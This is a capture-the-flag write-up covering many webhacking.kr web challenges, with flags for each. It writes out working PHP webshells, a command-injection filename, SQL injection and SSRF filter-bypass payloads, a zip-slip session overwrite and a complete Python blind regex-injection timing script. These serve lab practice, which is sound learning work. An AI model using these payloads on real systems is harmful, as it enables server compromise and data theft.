<b>Warning</b>: copy(./4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/asdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasda in <b>/var/www/html/challenge/web-19/index.php</b> on line <b>21</b><br />
as we can see in the warning, this is the directory: 4b0e87fef7b5e8ba83894970c9806042e5d6ec9a
let’s go to this directory and enter random file:
https://webhacking.kr/challenge/web-19/4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/d
Flag: FLAG{error_msg_is_more_userful_than_you_think}
i can see that there is base64 encoding here.
if we will decode this, we will get test.txt
so, let’s encode the name of the flag file, flag.docx
and we will get ZmxhZy5kb2N4
let’s try do download this:
https://webhacking.kr/challenge/web-20/?down=ZmxhZy5kb2N4
Flag: FLAG{very_difficult_to_think_up_text_of_the_flag}
Here we need to upload our webshell
, however, it checks whether the uploaded file isn’t some specific unallowed file-type, and also trying to resize the image.
So, we will use exiftool
to insert our webshell in the comment of the jpg
file.
exiftool -Comment="<?php echo system('cat /flag'); ?>" webshell.jpg.php
And then, upload our webshell. I’ve changed the Content-type using burp
Flag: FLAG{thank_you_q-roland}
here i created this webshell
<?php echo `$_GET[x]`?>
then, when you access it:
http://webhacking.kr:10004/upload/coolCode.php?x=cat%20/flag
Flag: FLAG{V2hhdCBkaWQgeW91IGV4cGVjdD8=}
here, you need to insert this payload: 'ls;'
becuase the command that will be executed is this:
echo 'hello! 'ls;''
then, when you access it:
http://webhacking.kr:10005/flag_29cbb98dafb4e471117fec409148e9386753569e
Flag: FLAG{y2u.be/sW3RT0tF020}
another sql injection.
here we use insert %bb and then, after the addslashes put \
before the '
, it’ll take the %bb + \
and encode in euc-kr
format.
this is the payload i gave:
here we want to insert this: id=%aa%27%20or%20id%20like%200x61646d696e'
, this is like: ' or id like admin
this is the query i used in the http get
https://webhacking.kr/challenge/web-22/?id=%aa%27%20or%20id%20like%200x61646d696e--%20&pw=guest
another sql injection. this time we can’t use 0x, so we use 0b.
this is equivalent to `5 or id like 'admin'#`
https://webhacking.kr/challenge/web-23/?lv=5%0bor%0bid%0blike%0b0b0110000101100100011011010110100101101110# ```
this is trick with email, need to inject headers for CC
Flag: FLAG{wasted_too_much_time_damn}
in this challenge there is command injection. when we delete file, it runs this command: rm -rf $filename
so, we need to upload file with this name for example: file;ls
. Then, when we delete the file, it’ll show us the flag.
Flag: FLAG{i_think_this_chall_is_cool}
another sql injection.
here we want to insert this: 1 or id = 'admin'
https://webhacking.kr/challenge/web-24/?lv=6%0b||id=0x661646D696E%0b
another sql injection.
here we use insert %bb and then, after the addslashes put \
before the '
, it’ll take the %bb + \
and encode in euc-kr
format.
this is the payload i gave:
(notice that i added **\, because i want that the union will be in the pw
, because I can’t put it inside id)
here we want to insert this: id=%bb%27%0b/*&pw=*/union%0bselect%0b3%0b--%0b'
this is the query i used in the http get
https://webhacking.kr/challenge/web-25/?id=%bb%27%0b/*&pw=*/union%0bselect%0b3%0b--%0b
s
you need to insert to id the value admin
and to the password this value 129581926211651571912466741651878684928
becasue the md5 hash of this produce: T0Do#'or'8
, which contains 'or something
, which exactly what we needs.
this solution is taken from this article: https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
in this challenge there is both server vulnerabilities and sql injection. the source code can be found here: [old-52]
{% include_relative scripts/old-52.py %}
Flag: FLAG{Server_Side_Request_Forgery_with_proxy!}
this is another sql injection problem.
here we inject this payload first in val 1 procedure analyse()
, then we can see this result:
webhacking.chall53_755fdeb36d873dfdeb2b34487d50a805.a
so, we now know the secret table, which is: chall53_755fdeb36d873dfdeb2b34487d50a805
https://webhacking.kr/challenge/web-28/?answer=chall53_755fdeb36d873dfdeb2b34487d50a805
Open the network panel the Developer tools.
then, see the response you got, packet by packet.
Flag: FLAG{a7981201c48d0ece288afd01ca43c55b}?
first, i entered the score 8200 using the command line:
then, I tried to find the third column name by using procedure analyse:
8200 limit 2,1 procedure analyse()
i got this: id : webhacking.chall55.p4ssw0rd_1123581321 //
means the column name is: p4ssw0rd_1123581321
.
now, we will run the script to find the flag: [old-55]
{% include_relative scripts/old-55.py %}
Flag: FLAG{easy_peasy_lemon_squeezy!}
here what you need to do is brute force, solution in the source code [old-56]
{% include_relative scripts/old-56.py %}
Flag: FLAG{himiko_toga_is_cute_dont_you_think_so?}
another sql injection, same as usual. [old-57]
{% include_relative scripts/old-57.py %}
Flag: FLAG{y2u.be/kmPgjr0EL64}
we can change the username, and send the command “flag”.
then, we will get the flag
Flag: FLAG{do_you_know_about_darkhotel}
we create the next raw: (‘nimda’,1,’admin’)
and then, we will insert this:
this challenge is based on race condition, and also on the fact that you can talk on two different PHP sessions by changing your cookie.
this are the two source codes: [old-60_1]
{% include_relative scripts/old-60_1.py %}
[old-60_2]
{% include_relative scripts/old-60_2.py %}
they are mainly the same, the only difference it the PHPSESSID
this is the payload we will send:
0x61646D696E%0bid#
this is equivalent to:
'admin' id#
we don’t need to use ‘as’, so what the query do is like that:
select 'admin' as id #
It looks like SSRF, we can supply the url
parameter.
$url = $_GET['url'].".txt";
if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
There are multiple checks, we need to build our payload step by step, to pass all the checks. Let’s GO!
filter_var($url, FILTER_VALIDATE_URL)
We need to supply valid URL, this is the RFC2396.
This is the structure of valid URL: <scheme>://<authority><path>?<query>
preg_match("/http:\/\/webhacking.kr:10009\//",$url)
We must supply this string inside our input: http://webhacking.kr:10009/
preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)
We can’t supply any of this characters… so, trying to use @
or #
won’t work… something like this:
http://webhacking.kr:10009/@evil.com/
:|.
So, this paper: A New Era of SSRF from Orange Tsai won’t work.
parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)
We must supply in the host webhacking.kr
and in the port 10009
. For example, this won’t work:
http://blabla:1003/http://webhacking.kr/
.
parse_url($url)['user'] || parse_url($url)['pass'])
Another mitigation, to stop us from manipulate the URL to treat the legit host as username
or passowrd
.
ATTACK
We can insert this: http://webhacking.kr:10009/,http://webhacking.kr:10009/
(notice the ,).
However we can also change the url scheme to data: data://webhacking.kr:10009/,http://webhacking.kr:10009/
, and then we receive this response:
THE TRICK
All the parsing functions process the content without url-decoding it, but the include
function decode it! so, let’s try give this payload:
data://webhacking.kr:10009/,http://webhacking.kr:10009/%2540
WOW! if we can insert @
, so we can insert also our php code :)
I wrote short script, you can use it: [orange.py]
{% include_relative scripts/orange.py %}
Flag: FLAG{hardcore_from_7.1}
In this challange we exploit regex injection.
I used this paper Blind Regex Injection.
If we’ll supply this input: ?pattern=^(?=F)((.*)*)*salt$
, then it first checks whether the first char is F
, and if so, goes to this loop: ((.*)*)*
, which makes it do backtracking till collapsing in the backend.
For example: ?pattern=^(?=..A)((.*)*)*salt$
-> Takes time (3rd char is A
)
In our side, all we can see is that on the right char it got delayed:
So, let’s write our script: [regexMaster.py]
import asyncio
import aiohttp
import random
import string
import time
import re
# Constants
URL = "http://218.145.226.8:20001"
SESSION_ID = "fsjfd38r8f4a723sl4tojnv75l"
cookies = {'PHPSESSID': SESSION_ID}
TIME_THRESHOLD = 2.0 # seconds
# Utilities (copied from the first script)
def length_in(i, j):
return ".{" + str(i) + "," + str(j) + "}$"
def nth_char_in(n, S):
# Create a range pattern for subsets, e.g., [\x01-\x56]
if len(S) > 1: # More than one character, we can define a range
lower = min(S)
upper = max(S)
return f".}[\\x{lower:02x}-\\x{upper:02x}].*$"
else: # Single character, no range
return f".}[{re.escape(chr(S[0]))}].*$"
def redos_if(regexp, salt):
return f"^(?={regexp})(((.*)*)*)*{salt}"
def generate_salt():
return ''.join(random.choices(string.ascii_letters, k=10))
# Async version of get_request_duration
async def get_request_duration(session, payload):
params = {'pattern': payload}
timeout = aiohttp.ClientTimeout(total=10)
try:
start = time.monotonic()
async with session.get(URL, params=params, timeout=timeout) as response:
await response.text()
end = time.monotonic()
return end - start
except asyncio.TimeoutError:
return 999 # Return a high value to signify timeout
async def prop_holds(session, prop, salt):
payload = redos_if(prop, salt)
duration = await get_request_duration(session, payload)
return duration > TIME_THRESHOLD
async def main():
async with aiohttp.ClientSession(cookies=cookies) as session:
# Generate a salt that triggers a slowdown
print("[*] Searching for effective salt...")
salt = generate_salt()
while not await prop_holds(session, '.*', salt):
salt = generate_salt()
print(f"[+] Salt found: {salt}")
# Leak secret length
lower_bound = 0
upper_bound = 100
print("[*] Starting length detection...")
while lower_bound != upper_bound:
m = (lower_bound + upper_bound) // 2
if await prop_holds(session, length_in(lower_bound, m), salt):
upper_bound = m
else:
lower_bound = m + 1
print(f"[*] Length bounds: ({lower_bound}, {upper_bound})")
secret_length = lower_bound
print(f"[+] Leaked length: {secret_length}")
# Leak the secret character by character
# Considering all ASCII characters (0-255)
S = bytes(range(256)) # All ASCII characters
secret = ""
print("[*] Starting character leak...")
for i in range(len(secret), secret_length):
lower_bound = 0
upper_bound = len(S) - 1
while lower_bound != upper_bound:
m = (lower_bound + upper_bound) // 2
subset = S[lower_bound:m+1]
if await prop_holds(session, nth_char_in(i + 1, subset), salt):
upper_bound = m
else:
lower_bound = m + 1
secret += chr(S[lower_bound]) # Convert to character
print(f"[+] Secret so far: {secret}")
print(f"[+] Final secret: {secret}")
if __name__ == "__main__":
asyncio.run(main())
Flag: FLAG{im_r/e/g/e/x_master//_//}
in this challenge i read the code and searched for a function that check the passage, for crossing the river.
i override this function by running this command: Game_Map.prototype.checkPassage = () => true;
and then, i was able to cross the river!
Flag: FLAG{I_am_a_RPG_Mast3R_}
In this challange we exploit the zip slip, here you can read about it: Zip Slip.
We override the session file with admin privilege, and then we can see the flag, as wrote in the source code
agonen@PC4:~$ php -a
Interactive shell
php > session_start();
php > echo session_id();
0tf30efgp62k6u1jm9lbmeckg7
php > $_SESSION['uid'] = 'admin';
php > echo session_encode();
uid|s:5:"admin";
php >
Now, all left is to create our payload:
python3 sliping_beauty.py
, and then upload it to the server.
Lastly, let’s change our session ID to the session id we achieve, for example:
0tf30efgp62k6u1jm9lbmeckg791194204
(include the random chars).
Flag: FLAG{my_zip_is_sliping_beauty}